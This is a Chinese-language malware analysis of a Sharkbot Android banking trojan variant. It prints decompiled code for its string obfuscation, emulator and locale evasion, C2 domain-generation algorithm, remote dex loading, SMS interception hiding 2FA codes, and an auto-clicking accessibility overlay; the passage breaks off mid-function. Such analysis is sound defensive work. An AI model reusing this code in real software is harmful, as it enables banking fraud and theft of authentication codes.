Sharkbot分析
Sharkbot是新一代Android银行木马,安全人员研究发现,这款恶意软件似乎和已知的Android Bot没有任何关联,并且使用了最高级的攻击技术,可以使用自动传输技术(ATS)从被感染设备发起欺诈汇款和绕过多因子认证,进行金融欺诈和窃取敏感信息。本文分析一款Sharkbot的新变种。
静态分析
使用的权限信息
????<uses-permission?android:name="android.permission.INTERNET"?/>
????<uses-permission?android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"?/>
????<uses-permission?android:name="android.permission.FOREGROUND_SERVICE"?/>
????<uses-permission?android:name="android.permission.SYSTEM_ALERT_WINDOW"?/>
????<uses-permission?android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION"?/>
????<uses-permission?android:name="android.permission.RECEIVE_BOOT_COMPLETED"?/>
????<uses-permission?android:name="android.permission.SEND_SMS"?/>
????<uses-permission?android:name="android.permission.RECEIVE_SMS"?/>
????<uses-permission?android:name="android.permission.READ_SMS"?/>
????<uses-permission?android:name="android.permission.WRITE_SMS"?/>
????<uses-permission?android:name="android.permission.RECEIVE_MMS"?/>
????<uses-permission?android:name="android.permission.QUERY_ALL_PACKAGES"?/>
????<uses-permission?android:name="android.permission.REQUEST_DELETE_PACKAGES"?/>
????<uses-permission?android:name="android.permission.REQUEST_INSTALL_PACKAGES"?/>
????<!--...-->
????<service?android:label="@string/app_name_a"?android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyServiceA"?android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"?android:enabled="true"?android:exported="true"?android:process=":BackgroundService"?android:description="@string/push_message"?android:stopWithTask="false">
????????????<intent-filter>
????????????????<action?android:name="android.accessibilityservice.AccessibilityService"?/>
????????????</intent-filter>
????????????<meta-data?android:name="android.accessibilityservice"?android:resource="@xml/accessibility_service_config"?/>
????????</service>
敏感权限包括读写手法短信,查询、删除和安装软件包,联网权限,请求忽略电池优化权限(可以防止被杀后台),改变系统窗口,还有监听系统启动完成(自动启动)等
主Activity是
<activity?android:theme="@style/Theme.AppCompat"?android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MainActivity"?android:exported="true">
????????????<intent-filter>
????????????????<action?android:name="android.intent.action.MAIN"?/>
????????????????<category?android:name="android.intent.category.LAUNCHER"?/>
????????????</intent-filter>
????????</activity>
开启了一个服务
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
goto :goto_0
.line 373
:cond_1
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {p0, p1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
对于应用中的字符串,都采用了如下方法解密。部分类中采用的密钥不同
public?static?String?H(Object?obj)?{
????????String?str?=?(String)?obj;
????????int?length?=?str.length();
????????char[]?cArr?=?new?char[length];
????????length--;
????????while?(length?>=?0)?{
????????????int?i?=?length?-?1;
????????????cArr[length]?=?(char)?(str.charAt(length)?^?62);
????????????if?(i?<?0)?{
????????????????break;
????????????}
????????????length?=?i?-?1;
????????????cArr[i]?=?(char)?(str.charAt(i)?^?7);
????????}
????????return?new?String(cArr);
????}
从最后一byte开始,分别依次异或62和7。可以写出对应解密脚本为
def?decrypt(s):
????if?type(s)==str:
????????s=s.encode()
????r=[0]*len(s)
????cnt=True
????for?i?in?range(len(s)-1,-1,-1):
????????if?cnt:
????????????r[i]=s[i]^62
????????else:
????????????r[i]=s[i]^7
????????cnt=?not?cnt
????return?bytes(r).decode()
print(decrypt('`DZ\u000bWNZ\u000bGF^GKFKEZNJ'))
服务内容如下
public?void?onCreate()?{
????????Objects.requireNonNull(this.F);
????????if?(this.F.H())?{
????????????int?i?=?8?/?0;
????????????return;
????????}
????????s?sVar?=?new?s(this.k);?//?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s=DatabaseManager
????????this.M?=?sVar;
????????sVar.getWritableDatabase();
????????this.C?=?new?x(this.k,?this.M.H(x.H((Object)?"\\hJNz"/*botID*/),?this.F.a()),?this.M.H(x.H((Object)?"rLkM"/*urls*/),?null));
????????sVar?=?this.M;
????????Objects.requireNonNull(this.F);
????????sVar.a("needA11",?x.H((Object)?"GbM"/*yes*/));
????????sVar?=?this.M;
????????Objects.requireNonNull(this.F);
????????sVar.a("aa11_start_time",?String.valueOf(System.currentTimeMillis()));
????????this.M.a(x.H((Object)?"WnTaU{VkBmSaNpM{Dj"),?x.H((Object)?"\u000e"/*0*/));?//?APPS_REQUEST_INJECT
????????this.F.H(this.k);
????????if?(VERSION.SDK_INT?>=?26)?{
????????????H();
????????}?else?{
????????????startForeground(1,?new?Notification());
????????}
????????E();
????????b();
????????this.g?=?this.k.getResources().getString(R.string.app_name);
????????this.j?=?this.k.getResources().getString(R.string.app_name_a);
????}
其中sVar.a执行了一些数据库操作
private?/*?synthetic?*/?String?H(String?str,?String?str2,?String?str3)?{
????????str?=?getWritableDatabase().rawQuery(0?+?str?+?c.H((Object)?"\u000e\\FN\\N\u000eEOFK\u0016\t"/*?where?name=*/)?+?str2?+?c.H((Object)?"\t"/*'*/),?null);
????????if?(str.moveToFirst())?{
????????????return?str.getString(0);
????????}
????????if?(str3?!=?null)?{
????????????a(str2,?str3);
????????}
????????return?str3;
????}
首先存储了一些信息,然后this.F.H(this.k);设置了一个闹钟,重复发送广播。根据不同Android版本启动前台服务。
然后是E函数,查询和存储了一些数据。
# ...
const-string v1, "o_tVDQiXnY" # hashConfig
const-string v2, "|\u001crLkM%\u0004%\u001c+\u001co_tVDQiXnY%\u0004%ZbXfKkJ%C" # {"urls":"","hashConfig":"default"}
.line 199
invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
.line 144
:try_start_0
new-instance v3, Lorg/json/JSONObject;
iget-object v4, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->M:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;
const-string v5, "dQiXnYRMbL" # configUser
invoke-static {v5}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v5
invoke-static {v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
invoke-virtual {v4, v5, v2}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/s;->H(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; # DatabaseManager
move-result-object v2
invoke-direct {v3, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
iput-object v3, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/MyServiceA;->H:Lorg/json/JSONObject;
.line 388
invoke-static {v1}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v2
# ...
并且调用J函数,
private?/*?synthetic?*/?void?J()?{
????????this.a?=?null;
????????this.l?=?null;
????????this.E?=?null;
????????s?sVar?=?this.M;
????????String?H?=?x.H((Object)?"KwEaDrFmTaIJ{");?//?LIB_CLASS_NAME
????????String?str?=?HttpUrl.FRAGMENT_ENCODE_SET;
????????this.d?=?sVar.H(H,?str);
????????this.f?=?this.M.H(x.H((Object)?"KwEaAkI}SwHpXpFsBanPnJ"),?str);?//?LIB_FUNCTION_NAME_init
????????this.K?=?this.M.H(x.H((Object)?"rN|XxRpDjNqIaIJ{XNfLt[MmHp"),?str);?//?LIB_FUNCTION_NAME_parseJSON
????????this.G?=?this.M.H(x.H((Object)?"KwEaAkI}SwHpXpFsBahPF]d[tMn\\nRnJ~{q[iJ"),?str);?//?LIB_FUNCTION_NAME_onAccessibilityEvent
????????String?H2?=?this.M.H(x.H((Object)?"rN|XxNrBaIJ{"),?str);?//?LIB_FILE_NAME
????????if?(H2?!=?null?&&?!H2.isEmpty())?{
????????????this.a?=?H(H2);
????????}
????}
调用H函数从C2服务器获取Dex并进行动态Class加载
private?/*?synthetic?*/?Object?H(String?str)?{
????????if?(str?!=?null)?{
????????????try?{
????????????????if?(!str.isEmpty())?{
????????????????????String?str2?=?0?+?x.H((Object)?"\u0011"/*/*/);
????????????????????str?=?new?DexClassLoader(0?+?str,?str2,?null,?ClassLoader.getSystemClassLoader()).loadClass(this.d);
????????????????????Object?newInstance?=?str.newInstance();
????????????????????this.E?=?str.getMethod(this.K,?new?Class[]{JSONObject.class});
????????????????????this.l?=?str.getMethod(this.G,?new?Class[]{AccessibilityEvent.class,?AccessibilityNodeInfo.class});
????????????????????str?=?str.getMethod(this.f,?new?Class[]{Context.class,?JSONObject.class});
????????????????????this.C.g?=?(String)?str.invoke(newInstance,?new?Object[]{this.k,?this.H});
????????????????????return?newInstance;
????????????????}
????????????}?catch?(String?str3)?{
????????????????this.C.J(0?+?str3.toString());
????????????}
????????}
????????return?null;
????}
然后是b函数
public?void?b()?{
????????try?{
????????????if?(this.F.H(this.k,?MyServiceA.class))?{
????????????????this.C.A?=?I;
????????????????return;
????????????}
????????????Objects.requireNonNull(this.F);
????????????long?parseLong?=?Long.parseLong(this.M.H("aa11_start_time",?String.valueOf(System.currentTimeMillis())));
????????????long?currentTimeMillis?=?System.currentTimeMillis();
????????????Object?obj?=?"_6\u000f";?//?a11
????????????if?(this.F.C?==?60000)?{
????????????????H(x.H(obj),?getResources().getString(R.string.push_message/*Check?whether?your?internet?connection*/));
????????????}?else?if?(currentTimeMillis?>?parseLong?+?60000)?{
????????????????this.F.C?=?60000;
????????????}?else?{
????????????????String?H;
????????????????if?(this.F.a(this.k).equals(x.H((Object)?"nJ"/*it*/)))?{
????????????????????H?=?x.H((Object)?"XnRb\u0004(\u0011(_iZuQnZX_tMbJ(_iZuQnZ6\u000f(Ws\u0010oJjR"/*file:///android_asset/android11/it.html*/);
????????????????}?else?{
????????????????????H?=?x.H((Object)?"XnRb\u0004(\u0011(_iZuQnZX_tMbJ(_iZuQnZ6\u000f([i\u0010oJjR"/*file:///android_asset/android11/en.html*/);
????????????????}
????????????????Intent?intent?=?new?Intent(this.k,?aaOverlay.class);
????????????????intent.putExtra(x.H((Object)?"c_s_"/*data*/),?x.H(obj));
????????????????intent.putExtra(x.H((Object)?"KuR"/*url*/),?H);
????????????????intent.addFlags(268435456);
????????????????intent.addFlags(BasicMeasure.EXACTLY);
????????????????startActivity(intent);
????????????}
????????????new?Handler(Looper.getMainLooper()).postDelayed(new?MyServiceA$$ExternalSyntheticLambda1(),?this.F.C);
????????}?catch?(Exception?e)?{
????????????this.C.J(0?+?e.toString());
????????}
????}
根据语言渲染了一个网页,并且根据网页内容,只要辅助功能开启,就会自动授权其它所有权限
<script?type="text/javascript">
?time?=?2;
interval?=?setInterval(function()?{
????time--;?//?延迟2s每秒点击
????if?(time?==?0)?{
????????clearInterval(interval);
????????document.getElementById('thebutton').click();????????????
????}
},?1000)
</script>
</head>
<body??style="width:100%;?height:?100%;">
<div?class="wrapper"?>
?<div?class="header">
??<div?class="nav">
???<div?class="nav__back"><img?src="images/back.svg"></div>
???<div?class="nav__title">Accessebility</div>
???<div?class="nav__search"><img?src="images/search-2.svg"></div>
??</div>
?</div>
????<!--...-->
????<div?class="settings__item?_hover">
????<div?class="settings__item-icon"></div>
????<div?class="settings__item-body">
?????<div?class="settings__item-title">Volume?key?shortcut</div>
?????<div?class="settings__item-info">Off</div>
????</div>
???</div>
???<div?class="settings__item?settings__item-name">
????<div?class="settings__item-icon"></div>
????<div?class="settings__item-body">
?????<div?class="settings__item-title">DOWLOADED?SERVICES</div>
????</div>
???</div>
???<div?class="settings__item?_hover?_hover-active">
????<div?class="settings__item-icon">
?????<div?class="icon"><img?src="images/mediaplayer.png"></div>
????</div>
????<div?class="settings__item-body">
?????<a?href="en2.html"?id='thebutton'?value='Autoclick'><div?class="settings__item-title">Media?Player?HD</div>
?????<div?class="settings__item-info">Off</div></a>
????</div>
???</div>
???<div?class="settings__item?settings__item-name">
????<div?class="settings__item-icon"></div>
????<div?class="settings__item-body">
?????<div?class="settings__item-title">SCREEN?READERS</div>
<!--...-->
相关反逆向技术
会检测虚拟机的存在,并且对于一些语言采取绕过措施
.method?public?H()Z
????.locals?5
????const-string?v0,?"`QhYk[XMcU"?#?google_sdk
????const-string?v1,?"YbPbLn]"?#?generic
????const/4?v2,?0x1
????.line?282
????:try_start_0
????sget-object?v3,?Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
????invoke-static?{v1},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
????const-string?v4,?"[EEEA\\@"?#?unknown
????invoke-static?{v4},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????.line?39
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->MODEL:Ljava/lang/String;
????invoke-static?{v0},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????.line?402
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->MODEL:Ljava/lang/String;
????const-string?v4,?"nC^BJZD\\"?#?Emulator
????invoke-static?{v4},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????.line?7
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->MODEL:Ljava/lang/String;
????const-string?v4,?"\u007fiZuQnZ\'mCu\'\\rWkJ\'XhL\'F?\u0008"?#?Android?SDK?built?for?x86
????invoke-static?{v4},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????.line?194
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
????const-string?v4,?"lKEWFA_GD@"?#?Genymotion
????invoke-static?{v4},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v4
????.line?238
????invoke-virtual?{v3,?v4},?Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
????move-result?v3
????if-nez?v3,?:cond_2
????sget-object?v3,?Landroid/os/Build;->BRAND:Ljava/lang/String;
????invoke-static?{v1},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v1
????.line?126
????invoke-virtual?{v3,?v1},?Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
????move-result?v1
????if-eqz?v1,?:cond_0
????sget-object?v1,?Landroid/os/Build;->DEVICE:Ljava/lang/String;
????const-string?v3,?"IN@N\\BM"?#?generic
????invoke-static?{v3},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v3
????invoke-virtual?{v1,?v3},?Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
????move-result?v1
????if-nez?v1,?:cond_2
????:cond_0
????invoke-static?{v0},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v0
????sget-object?v1,?Landroid/os/Build;->PRODUCT:Ljava/lang/String;
????.line?42
????invoke-virtual?{v0,?v1},?Ljava/lang/String;->equals(Ljava/lang/Object;)Z
????move-result?v0
????if-nez?v0,?:cond_2
????const-string?v0,?"MERB@W\\DRY[W[JRIW"?#?cn|in|ro|ru|ua|by
????invoke-static?{v0},?Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
????move-result-object?v0
????.line?211
????invoke-static?{},?Ljava/util/Locale;->getDefault()Ljava/util/Locale;
????move-result-object?v1
????invoke-virtual?{v1},?Ljava/util/Locale;->getLanguage()Ljava/lang/String;
????move-result-object?v1
????invoke-virtual?{v1},?Ljava/lang/String;->toLowerCase()Ljava/lang/String;
????move-result-object?v1
????invoke-virtual?{v0,?v1},?Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
????move-result?v0
????:try_end_0
????.catch?Ljava/lang/Exception;?{:try_start_0?..?:try_end_0}?:catch_0
????if-eqz?v0,?:cond_1
????goto?:goto_0
????:cond_1
????const/4?v0,?0x0
????return?v0
????:catch_0
????:cond_2
????:goto_0
????return?v2
.end?method
以及域名生成算法(DGA)
.method private synthetic a()Ljava/lang/String;
.locals 11
const/4 v0, 0x0
.line 107
:try_start_0
new-instance v1, Ljava/lang/StringBuilder;
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
.line 288
invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
move-result-object v2
const-string v3, "\u0000_A[\u0002\u0005VRT\u0007\u0000HM\u0007\u0000B@MA\u0007\u0000HAF\u0002\u0005\\^\u0002\u0005GEHD\u0002\u0005@NZ" # .top,.xyz,.cc,.info,.com,.ru,.info,.net
.line 23
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
const-string v4, "\u0012" # <
invoke-static {v4}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v3
array-length v4, v3
move v5, v0
:goto_0
if-ge v5, v4, :cond_0
aget-object v6, v3, v5
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
:try_start_1
const-string v7, "\u0007F_Z[\u0014\u0004\u0001" # ,http://
.line 62
invoke-static {v7}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v7
invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
new-instance v8, Ljava/lang/StringBuilder;
invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
const-string v9, "traff"
iget-object v10, p0, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J:Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/k;
.line 97
invoke-static {v10}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;
invoke-virtual {v8, v0, v9}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v8
const/4 v9, 0x3
invoke-virtual {v2, v9}, Ljava/util/Calendar;->get(I)I
move-result v9
invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
move-result-object v8
const-string v9, "wQm|N\u0007Kv@xcX`[`TmMM\u0007>Vqh@vQqmVlMcX" # pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf
invoke-static {v9}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v9
invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v8
invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v8
invoke-virtual {v8}, Ljava/lang/String;->getBytes()[B
move-result-object v8
const/4 v9, 0x2
.line 62
invoke-static {v8, v9}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
move-result-object v8
const/16 v9, 0x13
.line 69
invoke-virtual {v8, v0, v9}, Ljava/lang/String;->substring(II)Ljava/lang/String;
move-result-object v8
.line 62
invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
.line 69
invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
:catch_0
add-int/lit8 v5, v5, 0x1
goto :goto_0
.line 29
:cond_0
:try_start_2
invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v1
invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
move-result-object v0
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
return-object v0
:catch_1
move-exception v1
.line 115
new-instance v2, Ljava/lang/StringBuilder;
invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
const-string v3, "OAFKEjlo\u0011\u000e"
invoke-static {v3}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/c;->H(Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {v2, v0, v3}, Ljava/lang/StringBuilder;->insert(ILjava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
move-result-object v1
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
invoke-virtual {p0, v0}, Lcom/pycdvgljmfgh3hgp8jo72giu/omflsx1q2g/x;->J(Ljava/lang/String;)V
const-string v0, ""
return-object v0
.end method
Receiver分析
<receiver?android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS"?android:permission="android.permission.BROADCAST_SMS"?android:enabled="true">
????<intent-filter?android:priority="999">
????????<action?android:name="android.provider.Telephony.SMS_DELIVER"?/>
????????<action?android:name="android.provider.Telephony.SMS_RECEIVED"?/>
????</intent-filter>
</receiver><receiver?android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverMMS"?android:permission="android.permission.BROADCAST_WAP_PUSH"?android:enabled="true">
????<intent-filter>
????????<action?android:name="android.provider.Telephony.WAP_PUSH_DELIVER"?/>
????????<data?android:mimeType="application/vnd.wap.mms-message"?/>
????</intent-filter>
</receiver><receiver?android:name="com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.aaBootReceiver"?android:enabled="true"?android:exported="true">
????<intent-filter?android:priority="979">
????????<action?android:name="android.intent.action.BOOT_COMPLETED"?/>
????????<action?android:name="android.intent.action.QUICKBOOT_POWERON"?/>
????????<action?android:name="android.intent.action.SCREEN_ON"?/>
????????<action?android:name="vlcfaoshzuitgbmckzv3xw8u9fgal7"?/>
????</intent-filter>
</receiver>
短信接收器
com.pycdvgljmfgh3hgp8jo72giu.omflsx1q2g.MyReceiverSMS
public?class?MyReceiverSMS?extends?BroadcastReceiver?{
??x?C;
??
??private?String?K?=?"undefined";
??
??public?void?onReceive(Context?paramContext,?Intent?paramIntent)?{
????try?{
??????if?(H(paramContext)?&&?paramIntent.getAction().equals(x.H("_iZuQnZ)NuQqWc[u\020S[k[wVhP~\020TsTaU{D{NhBz")))?{?//?android.provider.Telephony.SMS_RECEIVED
????????Bundle?bundle?=?paramIntent.getExtras();
????????if?(bundle?!=?null)?{
??????????x?x1?=?new?x();
??????????this(paramContext,?null,?null);
??????????this.C?=?x1;
??????????x1.M?=?null;
??????????Object[]?arrayOfObject?=?(Object[])bundle.get(x.H("wZrM"));?//?pdus
??????????if?(arrayOfObject?!=?null)?{
????????????int?i?=?arrayOfObject.length;
????????????byte?b?=?0;
????????????while?(b?<?i)?{
??????????????SmsMessage?smsMessage?=?H(arrayOfObject[b],?bundle);
??????????????StringBuilder?stringBuilder?=?new?StringBuilder();
??????????????this();
??????????????stringBuilder?=?stringBuilder.insert(0,?smsMessage.getDisplayOriginatingAddress()).append(x.H("\004"));?//?:
??????????????String?str?=?smsMessage.getDisplayMessageBody();
??????????????b++;
??????????????this.K?=?stringBuilder.append(str).toString();
????????????}?
????????????abortBroadcast();
????????????H();
??????????}?
????????}?
??????}?
????}?catch?(Exception?exception)?{}
??}
}
使用abortBrocast方法从用户端隐藏短信,并且截取2FA验证码
彩信接收器
还未实现
public?class?MyReceiverMMS?extends?BroadcastReceiver?{
????public?void?onReceive(Context?context,?Intent?intent)?{
????????throw?new?UnsupportedOperationException(c.H((Object)?"`DZ\u000bWNZ\u000bGF^GKFKEZNJ"));
????}
}
启动结束接收器
启动主服务
public?void?onReceive(Context?context,?Intent?intent)?{
????????try?{
????????????context?=?context.getApplicationContext();
????????????if?(VERSION.SDK_INT?>=?26)?{
????????????????context.startForegroundService(new?Intent(context,?MyServiceA.class));
????????????}?else?{
????????????????context.startService(new?Intent(context,?MyServiceA.class));
????????????}
????????}?catch?(Context?context2)?{
????????????context2.printStackTrace();
????????}
????}
辅助功能分析
public?void?onAccessibilityEvent(AccessibilityEvent?accessibilityEvent)?{
????????MyServiceA?myServiceA?=?this;
????????Object?obj?=?"WnTaU{VkBmSaNpM{Dj";?//?APPS_REQUEST_INJECT
????????Object?obj2?=?"MpWw[";?//?swipe
????????Object?obj3?=?"FPsWC[k[s[";?//?AntiDelete
????????Object?obj4?=?"`Rh\\fR";?//?global
????????Object?obj5?=?"\u001c";?//?"
????????Object?obj6?=?"hPF]d[tMn\\nRnJ~{q[iJ=\u001e";?//?onAccessibilityEvent:?
????????if?(accessibilityEvent?!=?null)?{
????????????try?{
????????????????if?(accessibilityEvent.getPackageName()?!=?null)?{
????????????????????AccessibilityNodeInfo?source?=?accessibilityEvent.getSource();
????????????????????if?(source?!=?null)?{
????????????????????????source.refresh();
????????????????????????String?charSequence?=?accessibilityEvent.getPackageName().toString();
????????????????????????try?{
????????????????????????????if?(myServiceA.J)?{
????????????????????????????????List?findAccessibilityNodeInfosByViewId?=?source.findAccessibilityNodeInfosByViewId(x.H((Object)?"fPcLhWc\u0004nZ(\\rJsQi\u000f"));?//?android:id/button1
????????????????????????????????if?(!(findAccessibilityNodeInfosByViewId?==?null?||?findAccessibilityNodeInfosByViewId.isEmpty()?||?!myServiceA.F.J(myServiceA.k)))?{
????????????????????????????????????((AccessibilityNodeInfo)?findAccessibilityNodeInfosByViewId.get(0)).performAction(16);
????????????????????????????????????myServiceA.c?=?I;
????????????????????????????????????myServiceA.J?=?false;
????????????????????????????????????myServiceA.C.H(new?JSONObject());
????????????????????????????????}
????????????????????????????????return;
????????????????????????????}
????????????????????????????if?(myServiceA.a?!=?null)?{
????????????????????????????????JSONObject?jSONObject;
????????????????????????????????String?str?=?myServiceA.m;
????????????????????????????????if?(str?!=?null?&&?!str.isEmpty()?&&?myServiceA.m.contains(0?+?charSequence?+?x.H(obj5))?&&?myServiceA.M.H(charSequence).equals(x.H((Object)?"iQ")))?{
????????????????????????????????????if?(System.currentTimeMillis()?>?Long.parseLong(myServiceA.M.H(x.H(obj),?myServiceA.F.H()))?+?300000)?{
????????????????????????????????????????myServiceA.M.a(x.H(obj),?x.H((Object)?"\u000e"));
????????????????????????????????????????jSONObject?=?new?JSONObject();
????????????????????????????????????????jSONObject.put(x.H((Object)?"i[bZNPm[dJ"),?accessibilityEvent.getPackageName());?//?needInject
????????????????????????????????????????jSONObject.put(x.H((Object)?"fZjWikUr"),?myServiceA.C.C);?//?adminURL
????????????????????????????????????????myServiceA.C.H(jSONObject);
????????????????????????????????????}
????????????????????????????????}
????????????????????????????????jSONObject?=?(JSONObject)?myServiceA.l.invoke(myServiceA.a,?new?Object[]{accessibilityEvent,?source});
????????????????????????????????if?(jSONObject?!=?null?&&?jSONObject.length()?>?0)?{
????????????????????????????????????if?(jSONObject.has(x.H(obj4)))?{
????????????????????????????????????????H(jSONObject.getString(x.H(obj4)));
????????????????????????????????????}
????????????????????????????????????if?(jSONObject.has(x.H(obj3)))?{
????????????????????????????????????????myServiceA.c?=?jSONObject.getBoolean(x.H(obj3));
????????????????????????????????????}
????????????????????????????????????if?(jSONObject.has(x.H(obj2)))?{
????????????????????????????????????????H(jSONObject.getJSONArray(x.H(obj2)));
????????????????????????????????????}
????????????????????????????????????myServiceA.C.H(jSONObject);
????????????????????????????????}
????????????????????????????}
